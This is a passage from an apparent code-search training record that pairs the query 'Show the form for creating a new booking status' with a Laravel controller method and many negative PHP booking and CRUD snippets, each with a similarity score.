$booking->listing_id)\t\t\t\n\t\t\t->leftJoin(DB::raw(\"(select traveller_photo as host_url, name as host_name, host_description, id as host_id\n\t\t\t\t\t\t\tfrom `users`) as `host`\"), 'host.host_id', '=', 'listings.user_id')\n\t\t\t->leftJoin(DB::raw(\"(select id as address_id, city, state, lat, lng\n\t\t\t\t\t\t\tfrom `listing_addresses`) as `address`\"), 'address.address_id', '=', 'listings.id')\n\t\t\t->first();\n\t\t$listing->rating = $listing->getRating();\n\t\t$listing->reviews = $listing->getTotalReviews();\n\t\t\n\t\t$listing->nearby_attractions = json_decode($listing->nearby_attractions);\n\t\t$listing->nearby_conveniences = json_decode($listing->nearby_conveniences);\n\t\t\n\t\t\n\t\t// Listing Images\n\t\t$listing->images = ListingImages::where('listing_id', '=', $booking->listing_id)\n\t\t\t->orderBy('primary')\n\t\t\t->get();\n\t\t\n\t\t$amenities = Amenities::all();\n\t\t$listing->amenities = json_decode($listing->amenities);\n\t\t\n\t\tif(isset($listing->amenities)){\n\t\t\tforeach($amenities as $amenity){\n\t\t\t\tif(in_array($amenity->id, $listing->amenities)){\n\t\t\t\t\t$amenity->active = \"yes\";\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif(isset(Auth::user()->id)){\n\t\t\t$listing->favorite = Favorite::where('listing_id', '=', $booking->listing_id)\n\t\t\t\t\t\t\t->where('user_id', '=', Auth::user()->id)\n\t\t\t\t\t\t\t->first();\n\t\t}\n\t\t\n\t\t// Grab the listing owner's other listings\n\t\t$other_listings = Listing::where('user_id', '=', $listing->user_id)\n\t\t\t ->where('id', '!=', $listing->id)\n\t\t\t ->leftJoin(DB::raw(\"(select city, state, id as listing_id \n\t\t\t\t\t\t\tfrom `listing_addresses` ) as `list_address`\"), 'list_address.listing_id', '=', 'listings.id')\n\t\t\t ->leftJoin(DB::raw(\"(select url, listing_id \n\t\t\t\t\t\t\tfrom `listings_images` \n\t\t\t\t\t\t\twhere `primary` = 1) as `list_images`\"), 'list_images.listing_id', '=', 'listings.id')\n\t\t\t->limit('3')\n\t\t\t->getPublished();\n\t\t\n\t\t$reviews = Review::where('listing_id', '=', $listing->id)\n\t\t\t->leftJoin('users', 'users.id', '=', 'reviews.user_id')\n\t\t\t->get();\n\t\t\n\t\treturn view('dashboard.traveller.booking')\n\t\t\t->with('listing', $listing)\n\t\t\t->with('amenities', $amenities)\n\t\t\t->with('other_listings', $other_listings)\n\t\t\t->with('reviews', $reviews)\n\t\t\t->with('booking', $booking);\n\t}" ]
[ "0.7503449", "0.7260659", "0.7160376", "0.6966114", "0.6954762", "0.6855836", "0.6844358", "0.6793239", "0.66760385", "0.66487217", "0.6622037", "0.66150194", "0.6586753", "0.654619", "0.6488713", "0.6482838", "0.6459751", "0.6447234", "0.64164287", "0.6386201", "0.6377629", "0.6360729", "0.63432616", "0.63432616", "0.63432616", "0.63432616", "0.63432616", "0.63385195", "0.6327556", "0.6319905", "0.6313602", "0.63031834", "0.6268301", "0.6261119", "0.6248252", "0.6215758", "0.62080127", "0.619583", "0.61803544", "0.61781615", "0.61690867", "0.61686", "0.6153079", "0.61518204", "0.6149177", "0.614746", "0.61254436", "0.6120863", "0.6101641", "0.60783094", "0.60779786", "0.6068017", "0.6063708", "0.60602576", "0.60594237", "0.6057431", "0.6055565", "0.60464543", "0.60432744", "0.6028624", "0.6016989", "0.6015554", "0.6010261", "0.6003813", "0.5999226", "0.5993564", "0.5990202", "0.5989061", "0.5989061", "0.5989061", "0.5981359", "0.59761155", "0.5960804", "0.59513515", "0.59431416", "0.5939779", "0.59358484", "0.5931033", "0.5929002", "0.5921669", "0.59092367", "0.5904206", "0.59008044", "0.589101", "0.5885281", "0.58674264", "0.58668065", "0.5866043", "0.5865463", "0.5865053", "0.5863792", "0.58635217", "0.58630466", "0.5854957", "0.5852954", "0.5846991", "0.58468723", "0.58402944", "0.58376884", "0.58318263" ]
0.76732934
0
Show the form for creating a new booking status.
public function create() { return view('booking_status.create'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function actionCreate()\n {\n $model = new ArsBooking();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "public function actionBooking() {\n $model = new Reservation();\n $check_in_date = Yii::$app->request->post('check_in');\n $check_out_date = Yii::$app->request->post('check_out');\n $rate_plan = Yii::$app->request->post('rate_plan_id');\n $total_amount = Yii::$app->request->post('total_amount');\n\n return $this->render('create', [\n 'check_in_date'=>$check_in_date,\n 'check_out_date'=>$check_out_date,\n 'rate_plan'=>$rate_plan,\n 'total_amount'=>$total_amount,\n 'model'=>$model,\n ]);\n\n }", "public function create()\n {\n return view('bookings.create');\n }", "public function create()\n {\n return view('bookings.create');\n }", "public function create()\n {\n return view('bookings.create');\n }", "public function create()\r\n {\r\n $statuses = null;\r\n return view('admin.tickets.statuses.form')->with('statuses', $statuses);\r\n }", "public function create() {\n\n $category_options[''] = '-';\n $category_options += renderLists($this->category->getTermsByPostType('booking'));\n return view('backend.booking.create', compact('category_options'));\n }", "public function index()\n {\n return view('bookings.create');\n }", "public function create()\n {\n return view('panichd::admin.status.create');\n }", "public function create()\n {\n return view('admin.application-status.create');\n }", "public function create()\n {\n //\n // return view('admin.shipmentstatuses.create');\n }", "public function actionCreate()\n {\n $model = new Status();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "public function create()\n {\n return view ('/appointmentBook');\n }", "public function showNew()\n {\n $customers = Customers::select(['id', 'name', 'designation'])->get();\n $rooms = Room::getBookingRooms();\n return view('backend.bookings.new')\n ->withCustomers($customers)\n ->withRooms($rooms);\n }", "public function create()\n {\n return view('iracstatus.create');\n }", "public function create()\n {\n $list_kategori_pengunjung = KategoriPengunjung::all();\n return view('booking.create', compact('list_kategori_pengunjung'));\n }", "public function create()\n {\n $status = new status;\n $data['status'] = $status->all();\n $users = User::oldest()->get()->toArray();\n $data['users'] = $users;\n $brands = Brand::oldest()->get()->toArray();\n $data['brands'] = $brands;\n $data['products_array'] = [];\n\n $data['category_select'] = Category::attr(['name' => 'multi_category', 'class' => 'form-control', 'id' => 'multi_category'])\n ->selected()\n ->renderAsDropdown();\n\n $customer_suggestions = [];\n $customers = (new Customer())->newQuery()\n ->latest()->select('name')->get()->toArray();\n\n foreach ($customers as $customer) {\n array_push($customer_suggestions, $customer['name']);\n }\n\n $data['customers'] = Customer::all();\n\n $data['customer_suggestions'] = $customer_suggestions;\n\n return view('leads.create', compact('data'));\n }", "public function create($booking = null)\n {\n $user = $this->auth->user();\n $canChangeStatus = ($user->hasRoleSlug(config('asgard.user.config.role-list.admin', ''))\n || $user->hasRoleSlug(config('asgard.user.config.role-list.manager', ''))\n || $user->hasRoleSlug(config('asgard.user.config.role-list.accountant', '')));\n\n $originalBillType = [\n Bill::TYPE_BOOKING_PAYMENT,\n Bill::TYPE_OTHER_EXPENSE,\n ];\n $bills = Bill::whereIn('type', $originalBillType)->get();\n $originalBills[''] = trans('bill::bills.form.empty_select_original_bill');\n foreach ($bills as $item) {\n $originalBills[$item->id] = $item->unique_number;\n }\n\n $types = Bill::type();\n $paymentTypes = Bill::paymentType();\n $statuses = Bill::status();\n\n if (empty($booking)) {\n unset(\n $paymentTypes[Bill::PAYMENT_TYPE_DEDUCT],\n $types[Bill::TYPE_BOOKING_PAYMENT]\n );\n }\n\n return view('bill::admin.bills.create', compact('booking', 'originalBills', 'canChangeStatus',\n 'types', 'paymentTypes', 'statuses'));\n }", "public function create()\n {\n return view('prospects::admin.prospectstatuses.create');\n }", "public function newAction()\n {\n $entity = new Reserva();\n $user = $this->get('security.context')->getToken()->getUser();\n $em=$this->getDoctrine()->getManager();\n\t\t$status=$em->getRepository(\"VCBaseBundle:Status\")->find(1);\n\t\t$entity->setStatus($status);\n //$hoy= date(\"Y-m-d\");\n //$entity->setFechaServicio($hoy);\n if($this->get('security.context')->isGranted('ROLE_CUSTOMER')){\n $entity->setCliente($user->getCliente());\n }\n $form = $this->createForm(new ReservaType(), $entity);\n \n return array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n );\n }", "public function create()\n {\n return view('taskstatuses.create');\n //\n }", "public function create() {\n $users = DB::table( 'users' )->get()->pluck( 'name', 'id' )->prepend( 'none' );\n $rooms = DB::table( 'rooms' )->get()->pluck( 'number', 'id' );\n\n return view( 'bookings.create' )\n ->with( 'users', $users )\n ->with( 'booking', ( new Booking() ) )\n ->with( 'rooms', $rooms );\n }", "public function booking()\n {\n $booking_active = true;\n $branchs = $this->branch_services->all('asc');\n $type_services = $this->type_services->all('asc');\n\n return view('client.booking', compact('branchs', 'type_services', 'booking_active'));\n }", "public function create()\n {\n return View::make('statuses.create');\n }", "public function create()\n\t{\n\t\treturn view('billings.create');\n\t}", "public function create()\n {\n $data['companies'] = Company::select('id', 'name')->where('status', 1)->orderBy('id', 'desc')->get();\n return view('admin.outlet.outlet_form', $data);\n }", "public function create()\n {\n return view('statuses.create');\n }", "public function create()\n {\n $statuses=Status::all(); \n return view('beritas.create',compact('statuses',$statuses));\n }", "public function create()\n {\n return view('Admins.books.create_book');\n }", "public function create()\n {\n $booking = Booking::with('pelanggan','kamar','typekamar')->select('nama','nama_kamar','lantai');\n $kamar=Kamar::all();\n $pelanggan=Pelanggan::all();\n $typekamar=Type_kamar::all();\n return view('booking.create',compact('booking','kamar','pelanggan','typekamar'));\n }", "public function create()\n {\n return view('task_statuses.create');\n }", "public function create()\n {\n return view('admin.carpetbookingView.create');\n }", "public function create()\n {\n return view('admin.book.create');\n }", "public function create()\n {\n return view('admin.book.create');\n }", "public function create()\n {\n return view('admin.book.create');\n }", "public function create()\n {\n return view('dashboard.completings.create');\n }", "public function create()\n {\n return view('admin.task_statuses.create');\n }", "public function actionCreate()\n\t{\n\t\tif(!GroupPermissions::checkPermissions('booking-list','write'))\n\t\t{\n\t\t\tthrow new CHttpException(403,'You don\\'t have permission to access this page.');\n\t\t}\n\t\n\t\t$this->action_menu = array_map(\"unserialize\", array_unique(array_map(\"serialize\", array_merge(\n\t\t\t$this->action_menu,\n\t\t\tarray(\n\t\t\t\t'/booking/create' => array(\n\t\t\t\t\t'label'=>Yii::t('translations', 'New Trip'),\n\t\t\t\t\t'url' => array('booking/create'),\n\t\t\t\t\t'itemOptions'=>array('class'=>'link'),\n\t\t\t\t\t'subtab' => $this->getSubTab(),\n\t\t\t\t\t'order' => Utils::getMenuOrder()+1\n\t\t\t\t)\n\t\t\t)\n\t\t))));\n\t\tYii::app()->session['menu'] = $this->action_menu;\n\t\t$this->jsConfig->current['activeTab'] = 0;//$this->getSubTab();\n\t\n\t\t$model = new Booking();\n\t\tif (isset($_POST['Booking']))\n\t\t{\n\t\t\t$model->attributes = $_POST['Booking'];\t\t\n\t\t\t/*if(isset($_POST['Booking']['origin']))\n\t\t\t{\n\t\t\t\t$origin=Codelkups::getCodelkup($_POST['Booking']['origin']);\n\t\t\t\t$model->travel_supplier=Suppliers::getTravelSupp($origin);\n\t\t\t}*/\n\t\t\tif (!empty($_POST['Booking']['destination']) && $_POST['Booking']['destination']!='')\n\t\t\t{\n\t\t\t\t$model->destination=Booking::getIdByCityName($_POST['Booking']['destination']);\n\t\t\t}\n\n\t\t\tif (!empty($_POST['Booking']['id_project']) && !empty($_POST['Booking']['purpose']) && $_POST['Booking']['purpose']== 'Project' )\n\t\t\t\t{\n\t\t\t\t\t//$model->id_project = implode(\",\", $_POST['Booking']['id_project']);\n\t\t\t\t\t$model->id_project = $_POST['Booking']['id_project'];\n\t\t\t\t}else\n\t\t\t\t{\n\t\t\t\t\t$model->id_project=null;\n\t\t\t\t}\n\n\t\t\tif (!empty($_POST['Booking']['departure_date']))\n\t\t\t{\n\t\t\t\t$model->departure_date= DateTime::createFromFormat('d/m/Y', $_POST['Booking']['departure_date'])->format('d/m/Y');\n\t\t\t}\n\t\t\tif (!empty($_POST['Booking']['return_date']))\n\t\t\t{\n\t\t\t\t$model->return_date= DateTime::createFromFormat('d/m/Y', $_POST['Booking']['return_date'])->format('d/m/Y');\n\t\t\t}\t\n\t\t\t\t\n\t\t\tif (!empty($_POST['Booking']['checkin']) && $_POST['Booking']['hotel_booking'] == 'Yes')\n\t\t\t{\n\t\t\t\t$model->checkin= DateTime::createFromFormat('d/m/Y', $_POST['Booking']['checkin'])->format('d/m/Y');\n\t\t\t//\t$model->hotel_supplier=Suppliers::getHotelSuppPerCity($_POST['Booking']['destination']);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$model->hotel_supplier=null;\n\t\t\t\t$model->checkin=null;\n\t\t\t}\n\t\t\tif (!empty($_POST['Booking']['checkout']) && $_POST['Booking']['hotel_booking'] == 'Yes')\n\t\t\t{\n\t\t\t\t$model->checkout= DateTime::createFromFormat('d/m/Y', $_POST['Booking']['checkout'])->format('d/m/Y');\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$model->checkout=null;\n\t\t\t}\n\t\t\tif (!empty($_POST['Booking']['pickup']) && $_POST['Booking']['car_booking'] == 'Yes')\n\t\t\t{\n\t\t\t\t$model->pickup= DateTime::createFromFormat('d/m/Y', $_POST['Booking']['pickup'])->format('d/m/Y');\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$model->pickup=null;\n\t\t\t}\t\t\t\n\t\t\tif (!empty($_POST['Booking']['return']) && $_POST['Booking']['car_booking'] == 'Yes')\n\t\t\t{\n\t\t\t\t$model->return= DateTime::createFromFormat('d/m/Y', $_POST['Booking']['return'])->format('d/m/Y');\n\t\t\t//\t$model->car_supplier=Suppliers::getCarSuppPerCity($_POST['Booking']['destination']);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$model->return=null;\n\t\t\t\t$model->car_supplier=null;\n\t\t\t}\n\t\t\t$model->addwho=Yii::app()->user->id;\n\t\t\tif ($model->save())\n\t\t\t{\t\n\t\t\t\tif ($model->departure_date == $model->return_date)\n\t\t\t\t{\n\t\t\t\t\tself::sendOneDayAlert($model->traveler, $model->id, $model->destination, $model->departure_date, $model->return_date, $model->id_project, $model->billable, $model->origin, $model->id_customer);\n\t\t\t\t}\n\n\t\t\t\tif($model->car_booking == 'No')\n\t\t\t\t{ $model->car_supplier=null; }\n\t\t\t\tif($model->hotel_booking == 'No')\n\t\t\t\t{ $model->hotel_supplier=null; }\t\n\n\t\t\t\tif(!empty($model->purpose) && $model->purpose== 'Exhibition')\n\t\t\t\t{\n\t\t\t\t\t$model->id_customer=null;\n\t\t\t\t\t$model->id_project=null;\n\t\t\t\t}\n\t\t\t\t$model->save();\t\t\n\t\t\t\tself::sendBookingCreated($model->travel_supplier, $model->traveler, $model->id, $model->destination, $model->departure_date, $model->departure_time, $model->return_date, $model->return_time, $model->id_project, $model->billable, $model->origin, $model->id_customer);\n\t\t\t\tif(($model->hotel_booking == 'Yes' ) || ($model->car_booking == 'Yes'))\n\t\t\t\t\t{\n\t\t\t\t\t\tself::sendBookingsEmail($model->hotel_booking, $model->car_booking, $model->destination, $model->traveler, $model->hotel_supplier, $model->hotelname, $model->reason, $model->checkin, $model->checkout, $model->car_supplier, $model->carname, $model->carreason,$model->pickup, $model->return, $model->id_project);\n\t\t\t\t\t}\n\t\t\t\tUtils::closeTab(Yii::app()->request->url);\n\t\t\t\t$this->redirect(array('Booking/view', 'id'=>$model->id));\n\t\t\t}else\n\t\t\t{\n\t\t\t\tif (!empty($_POST['Booking']['destination']))\n\t\t\t\t{\n\t\t\t\t\t$model->destination=$_POST['Booking']['destination'];\n\t\t\t\t}\n\t\t\t\tif (!empty($_POST['Booking']['id_project']))\n\t\t\t\t{\t$model->id_project= $_POST['Booking']['id_project'];}\n\t\t\t}\n\t\t}\n\n\t\t$this->render('create',array(\n\t\t\t'model'=>$model,\n\t\t));\n\t}", "public function create()\n {\n return view('listings.new');\n \n }", "public function create()\n {\n return view('admin.verification_statuses.create');\n }", "public function create()\n {\n //\n return view('addbook');\n }", "public function create()\n {\n //\n return view('addbook');\n }", "public function create()\n {\n return view('admin.Book.add');\n }", "public function create()\n\t{\n\t\t$clients = Client::all();\n\t\t/*$cars = Car::all();*/\n\n\t\t$cars = DB::table('cars')\n\t\t\t ->where('status','available')->get();\n\n\t\treturn View::make('bookings.create', compact('cars', 'clients'));\n\t}", "public function create()\n\t{\n\n\t\t$listings = Listing::query()->orderBy('name')->get(['id','name'])->pluck('name', 'id');\n\t\treturn \\View::make('bookings.create',compact('listings'));\n\t}", "public function create()\n {\n //\n return view('admin.userstatuses.create');\n }", "public function create()\n { \n $bookings = Booking::all();\n // $nations = Nation::all(); \n $nations = Nation::all();\n \n return view('bookings.create',compact('nations','bookings','nations'));\n }", "public function create()\n {\n return view(\"web_admin.books.create\");\n }", "public function store(BookingFormRequest $request)\n {\n $validated = $request->validated();\n $booking = new Booking();\n $booking->guest_full_name = $validated['guest_full_name'];\n $booking->guest_credit_card = $validated['guest_credit_card'];\n $booking->room = $validated['room'];\n $booking->from_date = $validated['from_date'];\n $booking->to_date = $validated['to_date'];\n $booking->more_details = $validated['more_details'];\n\n $booking->Save();\n return view('bookings.index');\n }", "public function create()\n {\n return view('new-book');\n }", "public function create()\n {\n $status = DB::select('select * from statuses');\n return view('/drugAdministration/companies/create',compact('status'));\n }", "public function create()\n {\n return view('administrator.PropertyStatusView.create'); \n }", "public function actionCreate() {\n $model = new Bookings();\n\n $model->load(Yii::$app->request->post());\n $query = Bookings::find()\n ->andWhere(['patients_id' => $model->patients_id])\n ->andWhere(['date' => $model->date])->one();\n\n\n if (!empty($query->doctors_id)) {\n Yii::$app->session->setFlash('error', 'You already have an appointment on this date');\n return $this->redirect(['view', 'id' => $query->id]);\n }\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n\n// $model->time = Yii::$app->formatter->\n// asDate($_POST['hours'].$_POST['minutes'], 'HH:mm');\n\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "public function create()\n {\n return view('forms.create_business');\n }", "public function create()\n {\n // $bookings = Room::get();\n // return view('rooms.create',['rooms' => (new Booking())]);\n }", "public function create()\n {\n return view('book.create');\n }", "public function create()\n {\n return view('book.create');\n }", "public function create()\n {\n return view('book.create');\n }", "public function create()\n {\n $this->validate($request,[\n 'customer_name'=>'required',\n 'catergory'=>'required',\n 'time_from'=>'nullable',\n 'time_to'=>'nullable',\n 'date'=>'nullable',\n 'description'=>'nullable'\n\n ]);\n\n //Create post\n $booking = new Booking;\n $booking->user_id=Auth::user()->id;\n $booking->saloon_id=Auth::user()->id;\n $booking->customer_name=$request->input('customer_name');\n $booking->catergory=$request->input('catergory');\n $booking->save();\n return redirect('/main_salon_account');\n }", "public function create()\n {\n return view('okotieno.lms.books.add_books');\n }", "public function create()\n {\n $mode_action = 'create';\n $name = ['Barangay', 'Create'];\n $mode = [route('barangays.index'), route('barangays.create')];\n\n $this->audit_trail_logs('','','Creating new record','');\n\n return view('pages.barangays.form', [ \n 'mode' => $mode_action,\n 'breadcrumbs' => $this->breadcrumbs($name, $mode),\n 'title' => 'Barangay'\n ]);\n }", "public function create()\n {\n return view('admin.theloaisach.add-type-book');\n }", "public function create()\n {\n return view(\"books.create\");\n }", "public function actionCreate()\n {\n $model = new ReservationDetail();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'reservation_id' => $model->reservation_id, 'goods_id' => $model->goods_id]);\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }", "public function create()\n {\n return view('pages.book.create');\n }", "public function create()\n {\n return view('pages.book.create');\n }", "public function create()\n {\n return view('library/book/create');\n }", "public function getCreate()\n {\n $this->layout = View::make(Config::get('adminlte::views.masterstatus-create'));\n $this->layout->title = \"New Master Status\";\n $this->layout->breadcrumb = Config::get('syntara::breadcrumbs.create_masterstatus');\n }", "public function create()\n {\n //Valida se usuário possui permissão para acessar esta opção\n if(App\\Models\\User::getPermission('label_status_add',Auth::user()->user_type_code)){\n\n return view('label_status.create');\n\n }else{\n //Sem permissão\n Flash::error(Lang::get('validation.permission'));\n return redirect(route('label_status.index'));\n }\n }", "public function createAction(){\n $action = \"new\";\n $actionText = \"Create Book\";\n // create empty book...\n $book = new Book();\n require_once('views/bookForm.php');\n }", "public function create()\n { //dd(\"fuvl\");\n return view('admin.book.create');\n }", "public function create()\n {\n return view('page.book.create');\n }", "public function create()\n {\n return view('statuspelaksanaan.create');\n }", "public function create()\n {\n return view('booklists.create');\n }", "public function create()\n {\n //\n return view('borrower.create',\n [ 'books' => Book::getSelectbox(),\n 'customers' => Customer::getSelectbox(),\n ]);\n }", "public function create()\n\t{\n\t\treturn view('books.create');\n\t}", "public function create()\n {\n return view('backend.setup.loan.create');\n }", "public function create()\n {\n return view('admin.award.form');\n }", "public function create()\n {\n return view(\"admin.pages.reservation.create\");\n }", "public function booking()\n {\n //dd('tets');\n return view('booking');\n }", "public function create()\n {\n // return view('addBook');\n }", "public function create()\n {\n return view('books::create');\n }", "public function create()\n {\n return view('books.create');\n }", "public function create()\n {\n return view('books.create');\n }", "public function create()\n {\n return view('books.create');\n }", "public function create()\n {\n return view('books.create');\n }", "public function create()\n\t{\n\t\treturn view('admin.branch-create')->with([\n\t\t\t'iAppointmentMinutes' => $this->aSystemParameters['appointment_minutes']\n\t\t]);\n\t}", "public function create()\n {\n return view('workouts.form');\n }", "public function create($listing_id)\n {\n return view('pages.availability-create', $listing_id)\n ->withTypes(Listing::getTypes());\n }", "public function create()\n {\n return view('admin.shippings.create', ['title' => trans('admin.add')]);\n }", "public function create()\n {\n //\n return view('bookinsert');\n }", "public function create()\n {\n return view('maintenance.membershipstatus.create');\n }", "public function actionCreate() {\n $model = new TimeBooks();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "public function create()\n {\n return view('admin.shippings.create', ['title' => trans('admin.create')]);\n }", "public function create()\n {\n return view('books.create');\n\n }", "public function create()\n {\n return view(\"request_form.form\");\n }", "public function create()\n {\n return view('company.company_buildings.create');\n }", "public function createOrderStatus(StatusRequest $request, Status $status)\n {\n if($request->isMethod('post')) {\n $data = $request->all();\n $create = $status->create($data);\n if ($create) {\n Session::flash('success', 'Alternative Valuation Order Status Created.');\n return redirect()->route('admin.valuation.orders.status');\n }\n }\n return view('admin::valuation.order.create', compact('status'));\n }", "public function create()\n {\n $users=DB::table('users')->where('role_id','=',3)->get();\n //dd($users);\n $succes = 0;\n /*foreach ($status as $state => $description) {\n dd($description);\n }*/\n //dd($status);\n return view('bookings.create', [\n 'users' => $users,\n 'rooms' => Room::all(),\n 'varsucces' => $succes,\n 'status' => $this->STATUS\n ]);\n }", "public function booking()\n {\n return view('templates.them8.booking');\n }" ]
[ "0.70185405", "0.70051813", "0.69707686", "0.69707686", "0.69707686", "0.68995327", "0.6695767", "0.6611692", "0.66014975", "0.65990275", "0.65987056", "0.655904", "0.6535717", "0.649819", "0.64869845", "0.64601946", "0.6449307", "0.6436026", "0.64230657", "0.6404353", "0.638584", "0.6384672", "0.63651806", "0.63623905", "0.63564724", "0.6346244", "0.6343088", "0.6326106", "0.63193196", "0.63174576", "0.62993675", "0.6298956", "0.62928283", "0.62928283", "0.62928283", "0.6275809", "0.6255724", "0.625546", "0.6254605", "0.6248855", "0.6224794", "0.6224794", "0.6207274", "0.61964476", "0.61909413", "0.6188402", "0.61842275", "0.61485124", "0.61411977", "0.61127543", "0.61087453", "0.61025673", "0.6098587", "0.60906994", "0.60803974", "0.60743296", "0.60743296", "0.60743296", "0.6067723", "0.6060504", "0.6053399", "0.60354364", "0.6034676", "0.6026115", "0.6018044", "0.6018044", "0.5991591", "0.5978748", "0.59782827", "0.5960908", "0.5958782", "0.595864", "0.5958639", "0.59550023", "0.5952603", "0.5952597", "0.59480685", "0.59444004", "0.59439266", "0.5939102", "0.5938401", "0.59346145", "0.59210306", "0.59210306", "0.59210306", "0.59210306", "0.59155697", "0.5908336", "0.59066284", "0.59007716", "0.5899108", "0.5894203", "0.5894106", "0.589302", "0.5891475", "0.5891118", "0.58806115", "0.5878735", "0.58769923", "0.5871213" ]
0.77843416
0
Store a new booking status in the storage.
public function store(Request $request) { try { $data = $this->getData($request); BookingStatus::create($data); return redirect()->route('booking_status.booking_status.index') ->with('success_message', 'Booking Status was successfully added!'); } catch (Exception $exception) { return back()->withInput() ->withErrors(['unexpected_error' => 'Unexpected error occurred while trying to process your request!']); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function store() {\n try {\n $this->booking->create(Input::all());\n Notification::success( trans('app.booking_added') );\n return langRedirectRoute('admin.booking.index');\n } catch (ValidationException $e) {\n return langRedirectRoute('admin.booking.create')->withInput()->withErrors($e->getErrors());\n }\n }", "public function store(Request $request)\n {\n $status = new Status();\n $status->status = $request->status;\n $status->save();\n }", "public function store(BookingStoreRequest $request)\n {\n $start_time = Booking::nextAvailable($request->start_time, $request->service_id);\n \n if ($request->start_time != $start_time) {\n return back()->withErrors('The booking time you choosen is not available. Next available is ' . $start_time);\n }\n \n $end_time = Booking::ends($start_time, $request->service_id);\n \n $parameters = [\n 'car_id' => $request->car_id,\n 'service_id' => $request->service_id,\n 'start_time' => $start_time,\n 'end_time' => $end_time,\n 'note' => $request->note\n ];\n\n if($request->bookWithRegister) {\n DB::beginTransaction();\n \n $user = (new UserService())\n ->make($request->validated());\n $car = $user->cars()->save(\n new Car($request->validated())\n );\n $car->bookings()->save(\n new Booking($parameters)\n );\n \n DB::commit();\n session()->flash('message', 'You created new user and car and made a booking for him');\n } else {\n $this->service->make($parameters);\n \n session()->flash('message', 'You made a booking for existing user');\n }\n\n return redirect('/bookings');\n }", "public function store()\n\t{\n\t\t$validator = \\Validator::make($data = \\Request::all(), Booking::$rules);\n\n\t\tif ($validator->fails())\n\t\t{\n\t\t\treturn \\Redirect::back()->withErrors($validator)->withInput();\n\t\t}\n\n\t\tBooking::create($data);\n\n\t\treturn \\Redirect::route('bookings');\n\t}", "public function store(Request $request)\n {\n // dd($request);\n //dd($request->status);\n $users=DB::table('users')->where('role_id','=',3)->get();\n $succes=1;\n\n $request->validate([\n 'room' => 'required',\n 'user' => 'required',\n 'dateto' => 'required',\n 'datefrom' => 'required',\n 'option' => 'required',\n 'status' => 'required'\n ]);\n\n try\n {\n DB::beginTransaction();\n\n $booking=new Booking();\n $booking->date_to=$request->dateto;\n $booking->date_from=$request->datefrom;\n $booking->room_id=$request->room;\n $booking->user_id=$request->user;\n $booking->mode=$request->option;\n $booking->status=$request->status;\n if (isset($request->message)) {\n $booking->message=$request->message;\n } else {\n $booking->message=\"without message\";\n }\n if (isset($request->note)) {\n $booking->note=$request->note;\n } else {\n $booking->note=\"without note\";\n }\n if ($request->dateask!=null) {\n $booking->created_at=$request->dateask;\n }\n\n $booking->save();\n $manager = $booking->manager(); // $manager is a user model\n $data= [\n 'id' => $booking->id,\n 'status' => $booking->status\n ];\n\n $user = $booking->user;\n\n $user->notify(new BookingNotification($booking));\n $manager->notify(new BookingNotification($booking));\n $manager->notify(new NewRequest($manager,$booking));\n\n // self::statusUpdate($data);\n DB::commit();\n }\n catch (\\PDOException $e) {\n DB::rollBack();\n $succes=-1;\n\n return view('bookings.create', [\n 'users' => $users,\n 'houses' => House::all(),\n 'status' => $this->STATUS,\n 'varsucces' => $succes\n ]);\n\n }\n\n return view('bookings.create', [\n 'users' => $users,\n 'houses' => House::all(),\n 'status' => $this->STATUS,\n 'varsucces' => $succes,\n 'rooms' => Room::all()\n ]);\n }", "public function store(StoreTaskStatusesRequest $request)\n {\n $task_status = TaskStatus::create($request->all());\n\n\n\n return redirect()->route('admin.task_statuses.index');\n }", "public function store(Request $request)\n {\n $auth=Auth::user()->id;\n $client=\\App\\Client::whereId($auth)->first();\n $cleaner=\\App\\Cleaner::whereName($request->input('cleanerName'))->first();\n\n $vehicule_id=\\App\\Vehicule::whereName($request->input('vehiculeName'))->get('id');\n $cleaner_id=$cleaner->get('id');\n $booking_status='pending';\n\n $booking=\\App\\Booking::create([\n 'cleaner_id'=>$cleaner_id[0]['id'],\n 'client_id'=>$request->input('client_id'),\n 'vehicule_id'=>$vehicule_id[0]['id'],\n 'location'=>$request->input('location'),\n 'bill_amount'=>$request->input('bill_amount'),\n 'booking_date'=>$request->input('booking_date'),\n 'booking_status'=>$booking_status,\n ]);\n Flashy::message('booking number {'.$booking->id.'} logged !');\n if($booking){\n $subject = 'New booking here ! number ['.$booking->id.']';\n Mail::to($client->email)->send(new BookingStatus($subject)); \n Mail::to($cleaner->email)->send(new BookingStatus($subject)); \n }\n return redirect()->route('bookings.index');\n }", "function save(){\r\n\t\tglobal $wpdb;\r\n\t\t$table = $wpdb->prefix.EM_BOOKINGS_TABLE;\r\n\t\t//First the person\r\n\t\t//Does this person exist?\r\n\t\t$person_result = $this->person->save();\r\n\t\tif( $person_result === false ){\r\n\t\t\t$this->errors = array_merge($this->errors, $this->person->errors);\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\t$this->person_id = $this->person->id;\r\n\t\t\r\n\t\t//Now we save the booking\r\n\t\t$data = $this->to_array();\r\n\t\tif($this->id != ''){\r\n\t\t\t$where = array( 'booking_id' => $this->id ); \r\n\t\t\t$result = $wpdb->update($table, $data, $where, $this->get_types($data));\r\n\t\t}else{\r\n\t\t\t$result = $wpdb->insert($table, $data, 